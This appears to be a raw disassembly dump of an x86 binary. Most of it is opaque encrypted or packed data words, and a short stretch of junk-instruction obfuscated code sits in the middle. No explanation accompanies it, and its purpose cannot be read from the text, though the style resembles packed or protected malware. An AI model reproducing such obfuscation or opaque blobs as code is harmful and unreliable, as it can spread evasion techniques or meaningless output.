64E19E1h, 50177400h dd 40EB853h, 85890000h, 64E3001h, 0B6499D8Dh, 0D3FF0650h dd 8AFC585Bh, 6AC08BF5h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 8BA5C353h, 1718EBC2h dd 9B46F3h, 4 dup(0) dd 0E9000000h, 20Bh, 245C8B60h, 0E824h, 815D0000h, 514678EDh dd 4C26106h, 0FFE6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h dd 8C26160h, 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h dd 8C26160h, 0FFF6E900h, 0FFFFh, 0 dd 61600000h, 0FFF8E9C3h, 0B58BFFFFh, 65146B0h, 0F000E681h dd 0BE9FFFFh, 0E8000000h, 19h, 1000C681h, 0B53B0000h, 65146B4h dd 0FFE9860Fh, 200FFFFFh, 0D8220FD8h, 0C36160CFh, 0C88C6650h dd 0C00A0324h, 19840Fh, 53500000h, 2BBh, 5D858B00h, 86064E2Fh dd 0FDB0A18h, 0FFFFF685h, 58585BFFh, 0C32404FFh, 0FFFFCFE9h dd 74FF50FFh, 95FF0824h, 64E26D1h, 4C010F50h, 8358FE24h dd 8B531CC0h, 660C245Ch, 66FC5889h, 5B025889h, 24C88C66h dd 0FC00A03h, 984h, 5D858B00h, 0C6064E2Fh, 0FF580000h dd 4C22404h, 0FFBBE900h, 5053FFFFh, 80CB8C66h, 0DB0A03E3h dd 38840Fh, 2BB0000h, 8B000000h, 4E2F5D85h, 0A188606h dd 0F6850FDBh, 0C7FFFFFFh, 4E2D5985h, 6, 24448B00h, 988B08h dd 89000010h, 100098h, 89188B00h, 0AE918h, 85C70000h, 64E2D59h dd 100h, 4FF5B58h, 0A3E9C324h, 60FFFFFFh, 0F003E80h, 3184h dd 0B7A1BB00h, 1B0763Ah, 13E901B1h, 0AC000000h, 0C302C88Ah dd 0CBD1C332h, 0FD20BAAh, 184h, 0C90A4A00h, 0FFE5850Fh dd 0D20BFFFFh, 0FFDD850Fh, 0C361FFFFh, 57D48B52h, 33087A8Bh dd 1E9C0h, 80AA0000h, 850F003Fh, 0FFFFFFF6h, 4C25A5Fh dd 56515300h, 0DB33C033h, 10E9h, 0D833AC00h, 0C381D3D1h dd 37465ABCh, 0D3D3C88Ah, 0FC90B49h, 0FFFFE885h, 5EC38BFFh dd 60C35B59h, 3AB7A1BBh, 0E901B076h, 11h, 2AC332ACh, 0AACBD1C3h dd 840FD20Bh, 1, 0FC00A4Ah, 0FFFFE785h, 0FD20BFFh, 0FFFFDF85h dd 66C361FFh, 4A8D88Ch, 29840Fh, 85C70000h, 6514655h, 1 dd 4C010F50h, 858FFE24h, 6514659h, 4651858Dh, 0BD8D0651h dd 6514659h, 23E93889h, 8D000000h, 4E32A585h, 38408B06h dd 46F31705h, 5185899Bh, 8D065146h, 4E32A585h, 3C408B06h dd 46558589h, 858D0651h, 651466Eh, 26D18589h, 87E9064Eh dd 52000000h, 8B60D48Bh, 7A8B0872h, 0CAB2B80Ch, 7E9A945h dd 0 dd 0D1063006h, 0F73B46C8h, 0FFF1820Fh, 5A61FFFFh, 520008C2h dd 8B60D48Bh, 7A8B0872h, 0CAB2B80Ch, 7E9A945h, 30000000h dd 0D1062806h, 0F73B46C8h, 0FFF1820Fh, 5A61FFFFh, 520008C2h dd 5156D48Bh, 8BDB3353h, 4A8B0872h, 13E90Ch, 3CAC0000h dd 0A840F2Dh, 4000000h, 32133498h, 8C3C1D8h, 0FC90B49h dd 0FFFFE585h, 5BC38BFFh, 0C25A5E59h, 858D0008h, 65148E1h dd 25298589h, 858D064Eh, 6514909h, 2CB98589h, 858D064Eh dd 6514931h, 6998589h, 6E8064Eh, 4C000000h, 0EBCD2288h dd 5ED78A9Ch, 5E9h, 0E3D7C200h, 0C681A9CBh, 6845h, 28A0Fh dd 0C38A0000h, 19E768h, 0DFBF0F00h, 9E959h, 0FA1F0000h dd 0AD456347h, 8B2F89F8h, 81C38B3Eh, 341730C7h, 0FE905h dd 8DCE0000h, 0AD062F26h, 7B6CF6FBh, 3E72B861h, 0EEF81ECh dd 0B80155C7h, 2A3456C1h, 6ECDF781h, 0BA6629A6h, 3E892BE1h dd 291AE881h, 0EE830AACh, 6AB05004h, 850F4958h, 13h, 0E9DA8B66h dd 24h, 0A0603195h, 94803960h, 57F90A9Dh, 23E88060h, 5861D6B2h dd 0FFFF96E9h, 1F1774FFh, 0A2BFFA27h, 482383B9h, 8EBh dd 0 dd 7BE90000h, 60000000h, 4C010F52h, 835AFE24h, 858B24C2h dd 64E2649h, 96D5858Dh, 88B0651h, 1000888Bh, 0A8B0000h dd 0FC4A8B66h, 4A448D89h, 0BD830651h, 64E2999h, 0F840F00h dd 60000000h, 95FF006Ah, 64E1A59h, 0FFC4E961h, 8966FFFFh dd 0CEC1FC72h, 72896610h, 4CD5202h, 4085895Ah, 8B06514Ah dd 514A44B5h, 10CEC106h, 2728966h, 4A44B58Bh, 89660651h dd 8B61FC72h, 514A4085h, 958DC306h, 64E2DC1h, 2F5D9589h dd 9589064Eh, 64E2925h, 292585FFh, 85C6064Eh, 64E0401h dd 48D86853h, 0B5FFFCB1h, 64E25D1h, 39D8858Dh, 0D0FF064Eh dd 1A598589h, 858D064Eh, 6514688h, 22318589h, 0EB064Eh dd 604E9h, 5F8E900h, 0F680000h, 0E906514Ch, 0FFFD346Dh dd 514D0568h, 3463E906h, 8C68FFFDh, 0E906514Dh, 0FFFD3459h dd 514E6268h, 344FE906h, 0BE68FFFDh, 0E906514Fh, 0FFFD3445h dd 0C340BCC7h, 0D3508CD5h, 0E66399E5h, 0F3706CF8h, 7847805h dd 0B8C56DB6h, 89D9C744h, 99E8D653h, 68F8E663h, 571EF774h dd 0D5EBF681h, 763D18B7h, 446B2B7h, 0B88EC65Eh, 0B7D608BFh dd 0B243C94Fh, 36DE9527h, 0E0CEBE27h, 0EEC45597h, 0BE273689h dd 27365E1Ch, 362C47BEh, 0C180BE27h, 262F588Ch, 423DE7A6h dd 817B0AF8h, 0E5A1AF0h, 3043BE27h, 0CB3E270Eh, 0A2783FA9h dd 3474A7C2h, 0EF84430Ah, 0E5EB49CEh, 2803744Ah, 8D1337D9h dd 4A1197FCh, 0C096155Ch, 37D927B7h, 0A44686CEh, 0AD33B91Eh dd 0B9334230h, 13FD9F17h, 14698D4Ch, 38B0B583h, 0BE0AE0A7h dd 302E25EBh, 47CBDEAAh, 0D87AC296h, 45883h, 0BC18C00h dd 19D3A08Eh, 2CA0AE9Ch, 35B7C1AFh, 3FBDCAB8h, 80B271C2h dd 8A78F5F7h, 998704F8h, 0A79512CAh, 0CDA623D9h, 0EA473006h dd 0ECC7B7D5h, 0F5F77D61h, 0D69E8C53h, 8527A5AEh, 12E879FFh dd 0BE273662h, 52F64730h, 5F4DCA02h, 7239DB11h, 7102FA84h dd 5DFFFD83h, 30D4250Eh, 0C82FAC20h, 577E23FDh, 3CFDFh dd 0F77D5400h, 0F77D53F5h, 9BBE2736h, 0B7BD61B2h, 1BF1B835h dd 0BE27365Ch, 945B34BAh, 8C1DDFA6h, 3688EFC5h, 86BE27h dd 63014B39h, 0B85AE01Ch, 11FFA132h, 1F0D8A42h, 81F99B51h dd 8D7BF8DCh, 89EEC4C7h, 8DBE2736h, 8F4D1907h, 0B2A06709h dd 0FE8426A6h, 0F9F37F6Dh, 36CDA67Ch, 0AAB8BE27h, 0FE80BCF9h dd 0AF3561A8h, 9E3950Dh, 0D4085442h, 0FE5AC32h, 0BE272B68h dd 0C88F20A6h, 74C1DAF2h, 22EE74B4h, 48E38219h, 62BD12B4h dd 82000003h, 8A78F5F7h, 988603F9h, 0A3910ECEh, 0B8A623D9h dd 5FB02DAFh, 0EBE16EC4h, 0FAF2806Eh, 0CC08F7Dh, 19D3A18Fh dd 26FCC39Ch, 0B7D5E951h, 0A45FEAC5h, 367007DDh, 189EBE27h dd 10A15B2Ah, 0F89A5222h, 0C3497A0Ah, 7FB3F90Bh, 7F5BC42h dd 4FF1827Ah, 12CA9A88h, 0DCF9381h, 3579BA90h, 0CFA4BE27h dd 0B6BE2725h, 0B88E30ACh, 0BE2725BBh, 54C1C40h, 0A47A41C7h dd 0B4751BF8h, 0D5D4A026h, 5C48E36Ah, 2DB65BAh, 7E090000h dd 4E13017Eh, 5B23118Eh, 2A3624A1h, 3E4735B2h, 33F041BEh dd 0F97676FFh, 885470Bh, 14914B1Ah, 219E5E26h, 0CCAB8148h dd 4AB7D5E9h, 0B6A4E46Fh, 0B5A334A8h, 9D8B2DAFh, 9043DCD7h dd 37EB09Dh, 0BBC8B67Dh, 200EB041h, 0BF99B51h, 61E78943h dd 45B6ED73h, 0BE4E8F19h, 34B95BE1h, 6FBEFA4Bh, 0C3913586h dd 0D7C58C09h, 55BC4D8Fh, 577D4D70h, 2436Eh, 0ABB9A700h dd 9515A031h, 0BE2736DEh, 0A724D8A7h, 9032AAB9h, 5219D3A2h dd 77375D93h, 7405D38Ah, 5F9DE4D2h, 0E183CFBDh, 2FD15795h dd 3470C1AAh, 7ABFCE5h, 40078478h, 24C60652h, 1FA60D9Eh dd 0BD577DE8h, 48h, 6741F332h, 2D0ECAA0h, 3AC0B475h, 0E358796Eh dd 0F54AEC48h, 205h, 0DB5894DFh, 0EB6864EDh, 0FE7B71FDh dd 0B884410h, 1F9C501Dh, 90DD55CEh, 61F1DF5Ch, 7100EE6Bh dd 4010FE7Bh, 6F360F8Ch, 0D5E8DE99h, 0CA5530B7h, 7AF5CB92h dd 8CBE2736h, 0EF766406h, 0F28270EDh, 0BFE058FAh, 0E56B61EFh dd 0B0EB7A68h, 27369DDAh, 65EB71BEh, 845A21E8h, 0BE2736F3h dd 1E0C9D23h, 0A6262E56h, 0AB31ABB8h, 95571B09h, 0A2783F18h dd 0BE2736D5h, 0CA024B39h, 0EDDBA244h, 0D8C66864h, 3ACB518Bh dd 1062024Ch, 12D956DCh, 67E38D53h, 0F88961A6h, 2FF6DE80h dd 13B53741h, 2A45825h, 0C365F67Ch, 67EB89D5h, 0B73DC365h dd 245329F0h, 0F2BE2703h, 885EDB6Ch, 0BE2703EBh, 0BD846C10h dd 74A785E7h, 7C5219B4h, 0B7D90FFBh, 9F04951Bh, 0F7502D8h dd 0AB99B7D9h, 199F25A7h, 0E01C6452h, 6027B83Eh, 0BFA5AB99h dd 0D9335B7h, 7B08F687h, 4F3D0481h, 0A127C903h, 62512210h dd 30DDDE0Fh, 663C03F1h, 0B7D8E311h, 57F97F05h, 1BE21A69h dd 0E3F97E54h, 971DB7D8h, 0D1EF07D8h, 9C2DC0E6h, 86460CFAh dd 3368F6E4h, 0E7BD3F45h, 0B7D8B390h, 0B706CF5h, 965DFF85h dd 3E11BCD7h, 0AD3EB5AFh, 0E2A90335h, 25ECB40Ch, 2D3422AEh dd 1870DAFh, 964D4A35h, 0B207A942h, 0A9h, 3FBC303Bh, 4FCC0051h dd 5AD71561h, 6FECE06Ch, 7BF8F481h, 2C39F92Ah, 3D4533B0h dd 0D5442BFh, 1C6452CFh, 0C38A63E0h, 0D5E78AEDh, 26B18CB7h dd 4CF9E5A4h, 0A26B003h, 0BAC5B877h, 22B33907h, 0E9B02C34h dd 259CD72Ah, 0B9CE419h, 0F7F57B69h, 0CC1D0655h, 27A45828h dd 7DD605C0h, 26D757h, 954C0000h, 0BE2736DFh, 0DE3D8A8h dd 0BE27366Ah, 0B40F152h, 82E73194h, 0A4F976FCh, 17h, 6567EFDDh dd 21AC3DC3h, 2736DE95h, 90E0CEBEh, 97DDCB5Ch, 0A34DD855h dd 0B4640h, 0C07F0000h, 0E637BA85h, 0C58E95Eh, 0FAF27D81h dd 0E21A6A58h, 0C9035240h, 0B3293927h, 0A25A2311h, 87451200h dd 6F6DF7E5h, 5597DFCDh, 40BCC5B3h, 8956129Eh, 4C681E6h dd 81000000h, 4EEh, 24348700h, 2424895Ch, 4240483h, 81E68956h dd 4C6h, 4EE8300h, 5C243487h, 68243C89h, 195Eh, 81240489h dd 4ECh, 24048900h, 0E5160C68h, 0C22D5804h, 89FE93CAh dd 8B5458C7h, 0C4832404h, 4EC8304h, 8F243C89h, 34FF0840h dd 0C4835824h, 243C8B04h, 5E08950h, 4, 405h, 24048700h dd 2E87E95Ch, 0F57AFFFDh, 0E733E652h, 8CB83C84h, 3065150h dd 0E9D18BC5h, 51h, 24748B60h, 3C760324h, 28247C8Bh, 0C281D68Bh dd 0F8h, 64E8B66h, 83C9B70Fh, 840F00F9h, 16h, 0F0C7A3Bh dd 158Fh, 28EA8300h, 8B0C428Bh, 0C12B144Ah, 7C89F82Bh dd 0C2611C24h, 0C2830008h, 850F4928h, 0FFFFFFCFh, 0FFFFE9E9h dd 0FD3EBAFFh, 20EB0009h, 8 dup(0) dd 55BE9h, 54FE900h, 40680000h, 0E9065153h, 0FFFD2DE5h dd 5153E168h, 2DDBE906h, 7768FFFDh, 0E9065155h, 0FFFD2DD1h dd 5155FB68h, 2DC7E906h, 3A45FFFDh, 0A5745C2h, 1F6755D2h dd 0E67260DDh, 0F27B69E6h, 0F72C7DFAh, 3DBA323Bh, 4CC9034Fh dd 58D5175Eh, 65E21A6Ah, 88EFC58Ch, 86B7D5E5h, 0F17D20ABh dd 0F08359FBh, 943E2736h, 883D5AABh, 56D77E26h, 34h, 36DF95CBh dd 7A1EBE27h, 91DDCB92h, 0E6E66D5Bh, 0D9C78E55h, 1F655389h dd 24B53BDDh, 7998DB4Eh, 74F177B4h, 6710E6ADh, 0A7B7D5E5h dd 303B9021h, 0B0000000h, 2736DE95h, 93E0CEBEh, 0BCC9B759h dd 0B129BA40h, 37B5BD8Fh, 1514EAB1h, 0DFB47999h, 0A05C2A18h dd 0D5E5ADCAh, 4ADB61B7h, 7369F7E5h, 0A4E570EDh, 9032AAB6h dd 97551C0Ah, 8E4E1806h, 293725ECh, 0CC8B11B3h, 93A2A74Ah dd 0BB9122E8h, 3E26E3BBh, 7A9232Ch, 0EF914B19h, 8A255228h dd 63E93E27h, 36ABFCE5h, 3E36355Eh, 0C449CF89h, 98E68ADBh dd 0E8D69D64h, 0E98E6498h, 2D3E276Bh, 219916A7h, 9D0977Dh dd 0CD7A2F4Ah, 0B5A3E790h, 0C69C2DAFh, 3E2779ADh, 7239DB61h dd 7304F884h, 0C995FF85h, 0FDEB7113h, 53D97B71h, 0A4D850CDh dd 7DAF854Ch, 1334750Fh, 0F307C68Dh, 0A9B345B7h, 390FB142h dd 44754B3Ah, 0F310614Ah, 0DDCC4CD2h, 630Ch, 41F38100h dd 0A0B2A067h, 0E88F652Ch, 26BE2736h, 72480FA0h, 0B479E0BEh dd 1503CA50h, 22108D4Fh, 43CE9A52h, 0E248E6A4h, 2FDEB40h dd 0B2BD0000h, 82CFBD3Ah, 97DFCD4Ah, 9EEAD855h, 6AF3E15Eh dd 7FA4F572h, 0B532AAB3h, 0C441BBC7h, 0D04D8FD6h, 0DD5A92E2h dd 10673D04h, 0FEB7D5E3h, 0C8169823h, 8B000002h, 0FBBAF17Dh dd 0FFC19D67h, 6710E6A6h, 4DBE2729h, 9F35649Fh, 43C92EBFh dd 2E451BBDh, 6FBE26A5h, 0BE26A584h, 26A56119h, 0A53142BEh dd 76CBE26h, 96BE26A6h, 0FE26A5DDh, 0CB927A1Eh, 75A1FBF5h dd 70460DF4h, 0F7D6CD07h, 0D6A4007h, 1F7D6CCh, 0CD6FF57Bh dd 2C92355h, 245C9C2Ch, 28F47AEEh, 2B39FA7h, 5C3B9032h dd 5E000002h, 6E5CD913h, 7C6AE7E5h, 8F7DFAF2h, 9C8A07C5h dd 4B9C19D3h, 0CF0D5AD8h, 0DE1E6452h, 0F0EC7361h, 0FDFF8573h dd 0AE0A780h, 0B7D5E36Dh, 7D3BC6A1h, 8C53F5F7h, 8415D79Eh dd 0B980680Ch, 0E31083CBh, 5C3AF5FCh, 0B9133B9h, 20DDB37Ah dd 0AB47993h, 4D190784h, 5A24128Fh, 0D48800A2h, 965F35FCh dd 90AE2841h, 0C55430Ah, 17A82ED0h, 30AFC49Ah, 36FDBE27h dd 27301760h, 0E071F7BEh, 15DC3468h, 0D517604Eh, 461CAD33h dd 0B47992BBh, 34A8B9A7h, 6BF9E7AEh, 3F2DF471h, 3D2BBC30h dd 3D13B537h, 0B7D5DF66h, 2ACAA766h, 0F725E6ACh, 0FA4AEE66h dd 0F8867468h, 56DC6204h, 4B6CB98Fh, 40C6AE28h, 7C58B79h dd 18D49C8Ah, 63A69251h, 0EC95E9B6h, 0E97A72FEh, 57327147h dd 5709BE26h, 15E0B67Dh, 11B478B9h, 8ED6C48Bh, 9DE3D14Eh dd 0CF716BF7h, 0A921C349h, 97561DF7h, 0C44D5A0Bh, 1B695769h dd 28B93FE1h, 69E8B61h, 0F1B8AE28h, 26745C1Bh, 83CCBABEh dd 8FD5C349h, 9F25AB4Dh, 744C27FDh, 4F38BE26h, 61E4E1FEh dd 0CFA577Dh, 6F000000h, 26D1DE95h, 2140BEh, 0A4B50000h dd 374016DDh, 0D7BE2736h, 36FC7B51h, 941ABE27h, 0D0462D03h dd 7866BE26h, 76FFEDEFh, 0F35AE576h, 0CAA06741h, 0B4799933h dd 8F07A92Fh, 0DED59BEDh, 3B536599h, 0C248CE5Ah, 195E34FBh dd 0FDB7D57Ch, 0FDFF8977h, 0D9CFA56Ch, 77AE231Fh, 9AE25F1h dd 832542B5h, 0C62Eh, 7369F400h, 817B08F6h, 94481604h dd 9D5F2917h, 0A7253220h, 0E84AD92Ah, 0F2E05D9Fh, 1EF6C60h dd 0FFD7A72h, 350E8B41h, 0E1DF986Eh, 542FB7D5h, 0DBE5A4C9h dd 344319E6h, 0E2BE26E5h, 1CFA9D5Ch, 7C209829h, 95DFCD94h dd 0E4186957h, 47B68C53h, 43B47932h, 7908F6BDh, 0CA5BE183h dd 248CB028h, 93E9875Dh, 2917AE23h, 0C2F645Fh, 11CF2C9h dd 0B682BC7Bh, 0B5EA403Ah, 2F6632Fh, 0B75942B5h, 4262h dd 0EFED7800h, 0FDFF8472h, 8C49280h, 19D39D8Bh, 2BA1AE9Ch dd 6CC65DAEh, 7E6CE9E3h, 8D7BF8F4h, 9B8906C6h, 0C19A17D5h dd 0E15324FAh, 0E8C3B7D5h, 0D165Dh, 0A48B0000h, 367007DDh dd 189EBE27h, 7DB03B87h, 6A58FAF2h, 5240E21Ah, 3927C903h dd 2311B329h, 1200A25Ah, 0F7E58745h, 0DFCD6F6Dh, 0C5B35597h dd 129E40BCh, 81E18951h, 4C1h, 4BE5600h, 29000000h, 0C875EF1h db 24h, 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], eax push eax push ebp mov ebp, 65151C8h mov eax, ebp pop ebp mov edi, eax pop eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop eax push ebx mov ebx, edi mov [eax+8], ebx mov ebx, [esp] add esp, 4 push dword ptr [esp] pop eax add esp, 4 mov edi, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_5426E1 ; --------------------------------------------------------------------------- dd 5662B8ECh, 0C5030651h, 0D9E9C88Bh, 20000000h, 2C0FBE1Dh dd 0DF2F82C1h, 0FDBEB6CFh, 36365D54h, 0BCECA4h, 52C55DD5h dd 0A4D676D3h, 4100FC94h, 50C1AEC4h, 325277CBh, 9CACACh dd 0F7F691B8h, 9382CD64h, 38h, 3Ch, 40h, 94h, 5, 1, 0A28h dd 2, 20h dup(0) dd 48F3C8EFh, 1FC6E9h, 5A026800h, 0AAE90651h, 68FFFD27h dd 6515B27h, 0FD27A0E9h, 5BF068FFh, 96E90651h, 68FFFD27h dd 6515CB7h, 0FD278CE9h, 5D7E68FFh, 82E90651h, 68FFFD27h dd 6515E3Bh, 0FD2778E9h, 5F0D68FFh, 6EE90651h, 68FFFD27h dd 6515F9Fh, 0FD2764E9h, 62AD68FFh, 5AE90651h, 68FFFD27h dd 6516316h, 0FD2750E9h, 646768FFh, 46E90651h, 68FFFD27h dd 65167A8h, 0FD273CE9h, 6BB368FFh, 32E90651h, 68FFFD27h dd 6516F0Fh, 0FD2728E9h, 70B468FFh, 1EE90651h, 68FFFD27h dd 6517121h, 0FD2714E9h, 717668FFh, 0AE90651h, 68FFFD27h dd 65171C7h, 0FD2700E9h, 72C468FFh, 0F6E90651h, 68FFFD26h dd 65173DEh, 0FD26ECE9h, 750E68FFh, 0E2E90651h, 2AFFFD26h dd 32209D5Fh, 402EAB21h, 4B39B636h, 604ECB01h, 758D517h dd 9349161Ch, 0A25A2816h, 0B4283725h, 0C13B4937h, 0CEA46B44h dd 0B7D5DEA9h, 0A407926Dh, 0A45A4EE5h, 0F3844E31h, 0DB7D7F05h dd 0E86567EDh, 1DE4CC70h, 7494F147h, 34F3DB4h, 10A127C9h dd 0AD8325ABh, 0B7D919C6h, 7909F7BEh, 6EF3E183h, 0C046CC6Eh dd 0D8F5462Fh, 51301AEDh, 4CEFh, 41F36400h, 0F47A72FFh dd 0E878662Dh, 478D63F4h, 67B474D1h, 61F2EA79h, 0F0AF76FCh dd 0C5D77B85h, 136250B3h, 20B137D9h, 9ACBA87Eh, 0F2B9B7D8h dd 9A22552Bh, 0CA9AB7D8h, 0FC35127Ch, 4951B80h, 18ADCA1Bh dd 0C6512FCCh, 0E4h, 0B4F77D3Bh, 273699DEh, 71F77DBEh dd 491A08CFh, 7D6BF193h, 0D45AFCF0h, 0D4085543h, 0C03C4432h dd 0AC20301Eh, 0E97A682Fh, 3ACB51F3h, 2729D664h, 0C1975EBEh dd 0BE2732B6h, 350BD258h, 0BE273242h, 0CFBD4ED4h, 0E0CE4B81h dd 32451B90h, 0E4BE2732h, 33414925h, 0D45A71D7h, 34AC4Eh dd 0B10BE1A8h, 1FB4742Dh, 0AAC2031h, 3741C584h, 8EE41B7Bh dd 61138B08h, 4AEAC087h, 44AE27C5h, 7909F7BEh, 0CA5BE183h dd 94481503h, 0A05C2917h, 0B37584D4h, 0B60BAD42h, 1CE1h dd 7BF8F47Fh, 8B08C48Dh, 9E1BD19Dh, 0AB28A4B0h, 0BF3CB0BDh dd 0F07DB56Eh, 0C1917FFCh, 0D1A08E0Bh, 0A0B09E1Bh, 0FD6AF2Ch dd 0D5DC3E39h, 6AF5D0B7h, 6BF8E5A4h, 0E81D7D02h, 781C6957h dd 512EEDEFh, 928AAB73h, 0AC9A179Dh, 20AB28A4h, 75FF41F3h dd 632AF177h, 36B1C69Ch, 0DF65BE27h, 0D15C784Eh, 2BF2B474h dd 4E9FF66Ch, 13E9371Ch, 0B7D8E664h, 20EFF3B2h, 0CA436B49h dd 9F7BE44h, 57DD7F7Dh, 254E24C6h, 5FB7D90Dh, 0BD082576h dd 1F512FFAh, 0DAh, 8DF77D94h, 0DE8006C6h, 0FD7A5017h dd 11BE2736h, 430CFA8Bh, 2911E789h, 62BE272Ah, 6F5DDA12h dd 3F983E1h, 0C66BEE44h, 59DFCF4Eh, 5329F0B7h, 0BE268524h dd 63DB6CF2h, 5110D731h, 7C52F580h, 0BE2717FBh, 1D6951Bh dd 0BC83142Ah, 745ED6E6h, 93A766B4h, 3B45E5AFh, 6CF257E8h dd 0EBC577EFh, 6F2C3624h, 0D891DE99h, 24AA30B7h, 4DF6CC93h dd 5FAE27D7h, 54E5E771h, 0B4A269EFh, 3DBFC9ABh, 34C3AB7h dd 73B7FDC9h, 2ACC42B3h, 1BBCD5h, 23D9A400h, 31ABB8A6h dd 44B8C6B4h, 4D8FD9C7h, 5795E2D0h, 989A89DAh, 0A2900DCFh dd 0B19F1CD0h, 0BFAD2AA2h, 0E5BE3BB1h, 0DB2F481Eh, 4DFB7D5h dd 94F07D79h, 0B880ECEh, 0D4085644h, 3640370Dh, 48CEBE27h dd 41BBC9B7h, 0F77D39C4h, 6A0CC08Dh, 0CEBC5EE4h, 5CC94686h dd 9B7527B9h, 2A76FED4h, 0AA98B475h, 0F67C1EDEh, 502F0570h dd 2BF7667Fh, 0EF885E09h, 1F0366CCh, 764C1399h, 0F9B4636Eh dd 96E1B77Eh, 780198E7h, 253433F2h, 3D56B07Eh, 0FAC147ACh dd 791A5D33h, 76FC0198h, 0A9CB43E5h, 0FD8A783Fh, 798FE8BEh dd 0F97F0198h, 451BE273h, 0F7E63396h, 0CDBB8208h, 0DAC84587h dd 4A86528Ah, 4BFD55E4h, 1AF354A9h, 0E26D0000h, 0F27F6DEAh dd 0C78F7DFAh, 0CE9A8805h, 0DAA3910Eh, 0CF54A522h, 65E21A63h dd 74F1EB77h, 80FDFF86h, 8D0AC292h, 6017EDB4h, 0AEB7D5DBh dd 0F77D48D3h, 9E8C53F5h, 0F07618D4h, 5BB5E75Fh, 0C70ABE94h dd 66ECB474h, 0FC557CE9h, 76173C3Dh, 3CCDE740h, 713890C4h dd 2649D6B2h, 87753038h, 0D55BFDFFh, 0EFB67D44h, 0D8DC5E19h dd 992AB0B7h, 26D0B1C3h, 0E1715FAEh, 135B49EBh, 62CD53D9h dd 9936628Ch, 0DE799F6h, 0CD747046h, 54DAECC3h, 89C6CE8Dh dd 0AC6B61EFh, 7A4101B0h, 27CED3A4h, 2CBD43FCh, 866E128Ah dd 88F2E9BFh, 26ACF275h, 0E9E3715Fh, 0AEB7A56Ch, 0A1AF9D2Eh dd 0B22D5F2Bh, 781A0A46h, 1A2C23h, 0B3293400h, 0C13B4836h dd 0D4085644h, 0DD1F6957h, 0E7E57260h, 280A196Ah, 32209D5Fh dd 412FAC20h, 4F3DBA32h, 754ECB01h, 0DA9FD8AEh, 946FB7D5h dd 0AFB6A409h, 0A6AE9C2Dh, 680C8426h, 0E9E3B980h, 97B474CCh dd 0B279411h, 0B2795305h, 270598DCh, 85F076AEh, 8E5DBAAFh dd 86CCBADDh, 1B3DB546h, 162BEAB1h, 0B1B37081h, 10E6AD3Eh dd 17CC32D4h, 81B65918h, 26C29B44h, 561DA359h, 412CF780h dd 911723h, 0FB73159Bh, 1F582E59h, 0EF23412Ch, 461CE369h dd 198EE695h, 9C88E8A7h, 8F3D0670h, 4C1399FEh, 0FC8AF85h dd 0C046217Fh, 0B3A1682Fh, 0B9133A9h, 8C48C7Ah, 15D79D8Bh dd 3D882149h, 358FADFh, 1965h, 0FF7C70FBh, 0F8C4011h, 1A975521h dd 2FAC202Ch, 3BB83441h, 6CF939EAh, 7D05F370h, 4D14027Fh dd 5C24128Fh, 834A23A0h, 0D5D9CAADh, 0E6714CB7h, 53F5F77Dh dd 884FB9DBh, 752CEAB2h, 61DE64B4h, 29A3AC9Ah, 57B2B98h dd 0DCB27953h, 0AE272498h, 0FDFF8876h, 0E44FD55Bh, 0A6262F1Dh dd 17ED7E04h, 0BD6877BAh, 7973FCEAh, 0E4CC70E8h, 0A9232F1Dh dd 697B5118h, 0C7B73217h, 75279F41h, 5C15D49Bh, 6E3376F3h dd 946A31C2h, 0B968CB47h, 0E9DAA795h, 95635099h, 811298B5h dd 0F87F551Ch, 16C0E517h, 55430A90h, 6250CD0Fh, 0DFDDA112h dd 42DAEF0Fh, 84D2F0BCh, 0F5973FD7h, 18A8A0h, 2FADB800h dd 3DBFC4B2h, 4884D2C0h, 5993DDCBh, 6B61EEDCh, 0AC869DEEh dd 0BEAC29A3h, 0CDBB38B4h, 0DBC94686h, 1DA5795h, 0D813643Ah dd 2803B7D5h, 0F5F77D9Dh, 4FB9DB53h, 0FCD9A88h, 8F56E76Dh dd 74CC07B9h, 0F673F9B4h, 24585A89h, 452F05CCh, 0CBAE2704h dd 0E1B77E45h, 0BE271496h, 0F661F278h, 0BC19702Fh, 4367173h dd 0E2179D73h, 0B2E62AEDh, 0CA6C60F2h, 9F7BE44h, 0C28F7D7Fh dd 0DCB2790Ah, 20AC2308h, 67E20A6h, 0ECB37A52h, 0A0A76116h dd 9E2FB528h, 61DA01D7h, 4F21EEEh, 89EE7F7Dh, 97D3C03h dd 8BA63C7h, 0CE21562Ch, 6FF52A5Eh, 0A39158E9h, 2FADB7DDh dd 6A40078Dh, 2A5ECE0Dh, 78F57B01h, 3602FA8Ah, 0D65DC922h dd 0D6DC31D3h, 8A000017h, 9280FDFFh, 0A08E0BC1h, 0AB9916D6h dd 0C0AE2BA1h, 67B835B7h, 0F3E976BCh, 2FA8876h, 14C89785h dd 21DBA997h, 2E04CBA4h, 0B7D5D749h, 7D67F2CDh, 0DB53F5F7h dd 0C9884FB9h, 0F8A35959h, 5324FAB1h, 0C3BE269Ch, 5F26B73Dh dd 7905AC89h, 293826B4h, 78662DB3h, 0A177F4E8h, 0B7D56986h dd 900DEF95h, 0A4B2D2A2h, 0AD25A228h, 845A218Bh, 0AE27D2B1h dd 0F2E0A72Dh, 0EE6B61h, 10D77973h, 0F89A5222h, 6DF3E172h dd 0FA99A36Fh, 94364295h, 17443Fh, 9B511C00h, 0A923301Eh dd 0BC303E2Ch, 0C507513Fh, 0CF0D5A48h, 10220152h, 1A088547h dd 29179448h, 3725A25Ah, 5D36B329h, 0D7B7C096h, 7C57B7D5h dd 6741F3F1h dd 296E1A0h, 70EC8064h, 26B0DD9Ah, 25AB31BEh, 3EF7CD94h dd 0B8B47919h, 0F77D6B32h, 500078F5h, 0E3854710h, 0E86E6EF5h dd 0DEC59B62h, 50B7D565h, 225228CAh, 62B7D565h, 0BA0B2879h dd 24512C66h, 47h, 0ACB6A499h, 24CF8E30h, 0B4A1B6BAh, 4EFAE34h dd 16A356B9h, 3B69E172h, 27441AE1h, 0D7BE26B8h, 9AD9AF51h dd 0EABE26B8h, 3293B001h, 0AC577DBAh, 13h, 36DF9521h, 7A1EBE27h 